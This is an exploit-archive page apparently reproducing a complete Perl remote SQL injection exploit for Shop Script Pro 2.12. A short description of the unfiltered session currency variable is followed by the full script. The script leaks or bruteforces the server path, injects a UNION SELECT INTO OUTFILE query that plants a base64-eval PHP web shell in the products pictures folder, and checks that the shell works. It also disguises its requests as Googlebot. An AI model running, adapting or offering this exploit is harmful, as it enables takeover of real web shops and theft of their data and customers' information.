Shop Script Pro 2.12 Remote SQL Injection Exploit

Exploit Code :

#!/usr/bin/perl

=about

VENDOR
Shop Script Pro 2.12
(maybe other versions vulnerable too)
http://www.shop-script.com/

AUTHOR
discovered & written by Ams
ax330d [doggy] gmail [dot] com
http://www.0x416d73.name/

VULN. DESCRIPTION
Look in index.php at line 101.
Variable $current_currency is set from $_SESSION["current_currency"]
which is set in "/core_functions/currency_functions.php" in function
currSetCurrentCurrency() at line 17 via
"/includes/change_currency.php"
at line 13. This variable is not filtered.

EXPLOIT WORK
First exploit looks for file "linkpoint.php" in
hope to find full server path. If not found, then it bruteforces
those paths, otherwise will use found one.
Also at this time session is being set.
Exploit then sends POST request with SQL-Injection that tries to
upload tiny shell. And finally checks for shell.

REQUIREMENTS
1. MySQL must have rights to write to file
2. Full server path should be known
3. magic_quotes_gpc=off

=cut

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;

&Banner;
$| = 1;
my $expl_url = shift or &Usage;
my $serv_path = shift || '';
my $def_shell = '/products_pictures/pic.php';
my $shell = q(<?php
eval(base64_decode(base64_decode($_GET['cmd'])));?>);
my $sql_shell = join ',', map { ord } split //, $shell;

my $cookie = HTTP::Cookies->new;
my $spider = LWP::UserAgent->new;

push @{ $spider->requests_redirectable }, 'POST';
$spider->requests_redirectable();
$spider->agent('Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)');

my @paths = qw(
/var/www/htdocs /var/www/localhost/htdocs /var/www /var/wwww/hosting
/var/www/html /var/www/vhosts
/home/www /home/httpd/vhosts
/usr/local/apache/htdocs
/www/htdocs
/srv/www/htdocs
);

Exploit( $expl_url );

sub Exploit {

$_ = shift;
print "\n\tExploiting:\t $_";

chomp( $serv_path );
my $injection;
my ($prot , $host, $path, ) =
m{(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?};

$prot ||= 'http';
# Trying to get /linkpoint.php to get server path
my $req = POST "$prot://$host$path/linkpoint.php",
Content_Type => 'form-data',
Content => [ oid => 1, chargetotal => 1 ];
my $res = $spider->request( $req );

$cookie->extract_cookies( $res );
$spider->cookie_jar( $cookie );

if ($serv_path ne '-b') {
$serv_path = $res->content =~
m#in\s+<b>(.*?)/linkpoint\.php</b>\s+on#
? $1
: $serv_path;
}
$serv_path ||= '-b';

if ( $serv_path ne '-b' ) {

chomp( $serv_path );
print "\n\tFound path:\t $serv_path";

$injection = "1' UNION SELECT null,null,null,null,CHAR($sql_shell)
INTO OUTFILE '$serv_path$def_shell' -- ";
my $req = POST "$prot://$host$path/index.php",
Content_Type => 'form-data',
Content => [ current_currency => $injection];
$res = $spider->request( $req );

} else {

# Bruteforcing path
print "\n\tStarting bruteforce...\n";

for $serv_path ( @paths ) {

chomp( $serv_path );
print "\tTrying path:\t $serv_path$path$def_shell\n";

$cookie->extract_cookies( $res );
$spider->cookie_jar( $cookie );
$cookie->clear();

$injection = "1' UNION SELECT
null,null,null,null,CHAR($sql_shell) INTO OUTFILE
'$serv_path$path$def_shell' -- ";
my $req = POST "$prot://$host$path/index.php",
Content_Type => 'form-data',
Content => [ current_currency => $injection ];
$res = $spider->request( $req );
}
}

# Checking for shell presence
$req = GET "$prot://$host$path$def_shell";
$res = $spider->request( $req );
print "\n\tChecking:\t http://$host$path$def_shell";

if ( $res->status_line =~ /200\s+OK/ ) {
print "\n\tExploited!\n\n";
} else {
print "\n\tExploiting failed.\n\n";
}
}

sub Usage {

print "

Usage:\t$0 http://site.com [-b|full/server/path]

Example:\t$0 http://localhost/ /var/www/htdocs
$0 http://localhost/ -b
$0 http://localhost/

";

exit;
}

sub Banner {

print "
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Shop Script Pro 2.12 Perl exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
";
}

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